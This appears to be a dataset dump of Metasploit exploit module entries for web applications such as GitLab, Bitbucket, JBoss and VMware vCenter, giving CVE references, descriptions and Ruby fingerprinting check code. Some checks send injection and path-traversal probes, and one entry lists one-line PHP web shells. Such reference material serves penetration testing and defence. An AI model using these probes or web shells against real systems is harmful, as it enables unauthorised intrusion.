deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Gibbon School Platform Authenticated PHP Deserialization Vulnerability
Type: exploit
Path: modules/exploits/multi/http/gibbon_auth_rce_cve_2024_24725.rb
Platform: php
Disclosure date: 2024-03-18
References: CVE-2024-24725, URL-https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725, EDB-51903
Targets: PHP, Unix Command, Linux Dropper, Windows Command, Windows Dropper

Description:
A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower
          allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a
          POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.
          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
          potentially resulting in complete system compromise, data exfiltration, or unauthorized access
          to sensitive information.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = send_request_cgi!({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path)
    })
    return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200

    # check if target is running the Gibbon online school platform
    # search for the Gibbon version on the login page
    return CheckCode::Safe('No Gibbon school platform found.') unless res.body.include?('Gibbon')

    # trying to get the version
    version = res.body.match(/Gibbon.*v(\d+\.\d+\.\d+)/)
    version_number = version[0].split('v') unless version.nil?
    if version_number
      if Rex::Version.new(version_number[1]) <= Rex::Version.new('26.0.00')
        return CheckCode::Appears("Gibbon v#{version_number[1]}")
      else
        return CheckCode::Safe("Gibbon v#{version_number[1]}")
      end
    end
    CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
  end
Metasploit Module: ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
Type: exploit
Path: modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb
Platform: win
Disclosure date: 2014-06-08
References: CVE-2014-3996, OSVDB-110198, URL-https://seclists.org/fulldisclosure/2014/Aug/55

Description:
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
          which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
          Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The
          SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as
          the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older
          or upgraded builds). MySQL targets are more reliable due to the use of relative paths;
          with PostgreSQL you should find the web root path via other means and specify it with
          WEB_ROOT.

          The injection is only exploitable via a GET request, which means that the payload
          has to be sent in chunks smaller than 8000 characters (URL size limitation). Small
          payloads and the use of exe-small is recommended, as you can only do between 10 and
          20 injections before using up all the available ManagedConnections until the next
          server restart.

          This vulnerability exists in all versions released since 2006, however builds below
          DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your
          luck using the MySQL targets as a JDK might be installed in the $PATH.

Check method (fingerprinting):
check_code = check_desktop_central

    if check_code == Exploit::CheckCode::Unknown
      check_code = check_password_manager_pro
    end

    check_code
  end
Metasploit Module: Active Collab "chat module" Remote PHP Code Injection Exploit
Type: exploit
Path: modules/exploits/multi/http/activecollab_chat.rb
Platform: php
Disclosure date: 2012-05-30
References: CVE-2012-6554, OSVDB-81966, URL-http://www.activecollab.com/downloads/category/4/package/62/releases

Description:
This module exploits an arbitrary code injection vulnerability in the
          chat module that is part of Active Collab versions 2.3.8 and earlier by
          abusing a preg_replace() using the /e modifier and its replacement
          string using double quotes. The vulnerable function can be found in
          activecollab/application/modules/chat/functions/html_to_text.php.

Check method (fingerprinting):
login_path = "public/index.php?path_info=login&re_route=homepage"
    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? login_path : "/#{login_path}"

    cms = send_request_raw({ 'uri' => uri }, 25)

    uri = normalize_uri(datastore['URI'])
    uri += (normalize_uri(datastore['URI'])[-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'

    chat = send_request_raw({ 'uri' => uri }, 25)

    # cant detect the version here
    if (cms and cms.body =~ /powered by activeCollab/)
      # detect the chat module
      if (chat and chat.code == 200)
        return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
      end
    end
    return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: GitLab Unauthenticated Remote ExifTool Command Injection
Type: exploit
Path: modules/exploits/multi/http/gitlab_exif_rce.rb
Platform: unix
Disclosure date: 2021-04-14
References: CVE-2021-22205, CVE-2021-22204, URL-https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/, URL-https://hackerone.com/reports/1154542, URL-https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis, URL-https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
Targets: Unix Command, Linux Dropper

Description:
This module exploits an unauthenticated file upload and command
          injection vulnerability in GitLab Community Edition (CE) and
          Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
          and 13.8.8.

          Exploitation will result in command execution as the git user.

Check method (fingerprinting):
# Checks if the instance is a GitLab install by looking for the
    # 'About GitLab' footer or a password redirect. If that's successful
    # a bogus jpg image is uploaded to a bogus URI. The patched versions
    # should never send the bad image to ExifTool, resulting in a 404.
    # The unpatched versions should feed the image to the vulnerable
    # ExifTool, resulting in a 422 error message.
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/users/sign_in')
    })

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # handle two cases. First a normal install will respond with HTTP 200.
    # Second, if the root password hasn't been set yet then this will
    # redirect to the password reset page.
    unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
           (res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
      return CheckCode::Safe('Not a GitLab web interface')
    end

    res = upload_file(rand_text_alphanumeric(6..32))
    unless res
      return CheckCode::Detected('The target did not respond to the upload request.')
    end

    case res.code
    when 422
      if res.body.include?('The change you requested was rejected.')
        return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
      end
    when 404
      if res.body.include?('The page could not be found')
        return CheckCode
Metasploit Module: JBoss Java Class DeploymentFileRepository WAR Deployment
Type: exploit
Path: modules/exploits/multi/http/jboss_deploymentfilerepository.rb
Platform: java
Disclosure date: 2010-04-26
References: CVE-2010-0738, OSVDB-64171, URL-http://www.redteam-pentesting.de/publications/jboss, URL-https://bugzilla.redhat.com/show_bug.cgi?id=574105
Targets: Automatic (Java based), Windows Universal, Linux Universal, Java Universal

Description:
This module uses the DeploymentFileRepository class in
          JBoss Application Server (jbossas) to deploy a JSP file
          which then deploys the WAR file.
Metasploit Module: ProcessMaker Plugin Upload
Type: exploit
Path: modules/exploits/multi/http/processmaker_plugin_upload.rb
Platform: php
Disclosure date: 2010-08-25
Authors: bcoles
References: CVE-2025-34097, URL-http://wiki.processmaker.com/3.0/Plugin_Development

Description:
This module will generate and upload a plugin to ProcessMaker
          resulting in execution of PHP code as the web server user.

          Credentials for a valid user account with Administrator roles
          is required to run this module.

          This module has been tested successfully on ProcessMaker versions
          1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;
          and version 3.2.0 on Debian Linux 8.
Metasploit Module: Mako Server v2.5, 2.6 OS Command Injection RCE
Type: exploit
Path: modules/exploits/multi/http/makoserver_cmd_exec.rb
Platform: %w[win unix
Disclosure date: 2017-09-03
References: CVE-2025-34095, EDB-42683, URL-https://blogs.securiteam.com/index.php/archives/3391

Description:
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
          It's possible to inject arbitrary OS commands in the Mako Server
          tutorial page through a PUT request to save.lsp.

          Attacker input will be saved on the victims machine and can
          be executed by sending a GET request to manage.lsp.

Check method (fingerprinting):
vprint_status('Trying to detect running Mako Server and necessary files...')

    # Send GET request to determine existence of save.lsp page
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'examples/save.lsp')
    }, 20)

    # If response does not include "MakoServer.net", target is not viable.
    return CheckCode::Unknown('No response received from the target') unless res

    if res.headers['Server'] !~ /MakoServer\.net/
      vprint_warning('Target is not a Mako Server.')
      return CheckCode::Safe('The target is not vulnerable')
    end

    if res.body
      if res.body.include?('Incorrect usage')
        # We are able to determine that the server has a save.lsp page and
        # returns the correct output.
        vprint_status('Mako Server save.lsp returns correct ouput.')
        return CheckCode::Appears('The target appears vulnerable based on response body')
      else
        # The page exists, but is not returning the expected output.
        # May be a different version?
        vprint_warning('Mako Server save.lsp did not return expected output.')
        return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
      end
    else
      # The above checks failed and exploitability could not be determined.
      vprint_error('Unable to determine exploitability, save.lsp not found.')
      return CheckCode::Unknown('An error occurred while checking
Metasploit Module: NUUO NVRmini upgrade_handle.php Remote Command Execution
Type: exploit
Path: modules/exploits/multi/http/nuuo_nvrmini_upgrade_rce.rb
Platform: %w{unix win linux}
Disclosure date: 2018-08-04
References: URL-https://www.berkdusunur.net/2018/11/development-of-metasploit-module-after.html, URL-https://www.tenable.com/security/research/tra-2018-41, CVE-2018-14933, EDB-45070

Description:
This exploits a vulnerability in the web application of NUUO NVRmini IP camera,
          which can be done by triggering the writeuploaddir command in the upgrade_handle.php file.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'upgrade_handle.php'),
      'vars_get' =>
        {
          'cmd' => 'writeuploaddir',
          'uploaddir' => "';echo '#{Rex::Text.rand_text_alphanumeric(10..15)}';'"
        }
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not connect to the target')
    end

    if res.code == 200 && res.body =~ /upload_tmp_dir/
      return CheckCode::Vulnerable('Successfully verified the upload vulnerability')
    end

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: ForgeRock / OpenAM Jato Java Deserialization
Type: exploit
Path: modules/exploits/multi/http/cve_2021_35464_forgerock_openam.rb
Platform: unix
Disclosure date: 2021-06-29
References: CVE-2021-35464, URL-https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464, URL-https://backstage.forgerock.com/knowledge/kb/article/a47894244
Targets: Unix Command, Linux Dropper

Description:
This module leverages a pre-authentication remote code execution vulnerability in the OpenAM identity and
          access management solution. The vulnerability arises from a Java deserialization flaw in OpenAM's
          implementation of the Jato framework and can be triggered by a simple one-line GET or POST request to a
          vulnerable endpoint. Successful exploitation yields code execution on the target system as the service user.

          This vulnerability also affects the ForgeRock identity platform which is built on top of OpenAM and is thus
          is susceptible to the same issue.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/oauth2/..;/ccversion/Version'),
      'vars_post' => {
        'jato.pageSession' => Base64.urlsafe_encode64(rand_text_alphanumeric(6..13))
      }
    )
    if res.nil?
      CheckCode::Unknown("The target server didn't respond!")
    elsif res.code == 302 && res.headers['Location']&.end_with?('/base/AMInvalidURL')
      CheckCode::Appears('The target appears to be a vulnerable version')
    else
      CheckCode::Safe('The target is not running a vulnerable version')
    end
  end
Metasploit Module: Bitbucket Environment Variable RCE
Type: exploit
Path: modules/exploits/multi/http/bitbucket_env_var_rce.rb
Platform: unix
Disclosure date: 2022-11-16
References: URL-https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/, URL-https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16[PII_REDACTED].html, CVE-2022-43781
Targets: Linux Command, Linux Dropper, Windows Dropper

Description:
For various versions of Bitbucket, there is an authenticated command injection
          vulnerability that can be exploited by injecting environment
          variables into a user name. This module achieves remote code execution
          as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
          variable, a null character as a delimiter, and arbitrary code into a user's
          user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
          will be run once the Bitbucket application is coerced into generating a diff.

          This module requires at least admin credentials, as admins and above
          only have the option to change their user name.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
    return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')

    nokogiri_data = res.get_html_document
    footer = nokogiri_data&.at('footer')
    return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer

    version_info = footer.at('span')&.children&.text
    return CheckCode::Detected('Failed to find version information in footer section') unless version_info

    vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1

    version_str = vers_matches[1]

    vprint_status("Found version #{version_str} of Bitbucket")
    major, minor, revision = version_str.split('.')
    rev_num = revision.to_i

    case major
    when '7'
      case minor
      when '0', '1', '2', '3', '4', '5'
        return CheckCode::Appears('The target appears to be a vulnerable version')
      when '6'
        return CheckCode::Appears('The target appears to be a vulnerable version') if rev_num >= 0 && rev_num <= 18
      when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
        return CheckCode::Appears('The target appears to be a vulnerable version')
Metasploit Module: VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell)
Type: exploit
Path: modules/exploits/multi/http/vmware_vcenter_log4shell.rb
Platform: win
Disclosure date: 2021-12-09
References: CVE-2021-44228, URL-https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis, URL-https://www.vmware.com/security/advisories/VMSA-2021-0028.html, URL-https://twitter.com/w3bd3vil/status/[PII_REDACTED]14951937
Targets: Linux

Description:
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
        that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
        command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
        Windows.

        This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
        vector.

Check method (fingerprinting):
validate_configuration!

    return Exploit::CheckCode::Unknown('Could not determine tenant from the target; the target may have returned an unexpected redirect') if tenant.nil?

    super
  end
Metasploit Module: Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)
Type: exploit
Path: modules/exploits/multi/http/axis2_deployer.rb
Platform: %w{java linux win}
Disclosure date: 2010-12-30
References: URL-http://www.rapid7.com/security-center/advisories/R7-0037.jsp, URL-http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf, CVE-2010-0219, OSVDB-68662
Targets: Java, Windows Universal, Linux X86

Description:
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
          and uploads and executes commands via deploying a malicious web service by using SOAP.
Metasploit Module: Monsta FTP downloadFile Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb
Platform: php
Disclosure date: 2025-11-07
References: CVE-2025-34299, URL-https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits a pre-authenticated remote code execution vulnerability
          in Monsta FTP versions < 2.11.3. The vulnerability exists in the downloadFile
          action which allows an attacker to connect to a malicious FTP or SFTP server
          and download arbitrary files to arbitrary locations on the Monsta FTP server.
          This module uses FTP to exploit the vulnerability.

Check method (fingerprinting):
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Safe('Target does not appear to be Monsta FTP') unless res.code == 200 && res.body.include?('Monsta FTP')

    version_match = res.body.match(/(?:v=|assets-|monsta-min-)(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Monsta FTP detected but version could not be determined') unless version_match

    version = Rex::Version.new(version_match[1])
    print_status("Monsta FTP version detected: #{version}")
    version < Rex::Version.new('2.11.3') ? CheckCode::Appears("Detected version #{version}, which is vulnerable") : CheckCode::Safe("Detected not vulnerable version #{version}")
  end
Metasploit Module: SolarWinds Storage Manager Authentication Bypass
Type: exploit
Path: modules/exploits/multi/http/solarwinds_store_manager_auth_filter.rb
Platform: %w{linux win}
Disclosure date: 2014-08-19
References: CVE-2015-5371, ZDI-14-299

Description:
This module exploits an authentication bypass vulnerability in Solarwinds Storage Manager.
          The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication
          with specially crafted URLs. After bypassing authentication, is possible to use a file
          upload function to achieve remote code execution. This module has been tested successfully
          in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and
          Linux 64 bits operating systems.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=----#{rand_text_alpha(10 + rand(10))}"
    })

    if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/
      return Exploit::CheckCode::Vulnerable('Successfully verified the upload vulnerability')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Generic HTTP Command Execution
Type: exploit
Path: modules/exploits/multi/http/os_cmd_exec.rb
Platform: linux
Disclosure date: 2026-02-26

Description:
This module interacts with existing command execution functionality on a target system,
          where user-supplied input is directly passed to system execution functions via a HTTP request.
          This could be from an existing vulnerability, or uploaded webshells such as:
          <?php passthru($_REQUEST['cmd']); ?>
          <?php system($_REQUEST['cmd']); ?>
          <?php echo exec($_REQUEST['cmd']); ?>
          <?php echo shell_exec($_REQUEST['cmd']); ?>
          <?php echo fread(popen($_REQUEST['cmd'], 'r'), 2096); ?>
          <?php echo `{$_REQUEST['cmd']

Check method (fingerprinting):
method = datastore['POSTDATA'] ? 'POST' : 'GET'
    content = rand_text_alphanumeric(rand(16..31))
    payload = Rex::Text.uri_encode("echo #{content}")
    uri = datastore['URIPATH'].sub('!INJECT!', payload)
    data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload)

    response = send_request(method, uri, data)

    return Exploit::CheckCode::Unknown('Could not connect to the target') unless response
    return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') if response.code == 200 && response.body.match(content)
    return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200

    vprint_error("Server responded with: HTTP #{response.code}")
    return Exploit::CheckCode::Safe('Unexpected HTTP status code received')
  end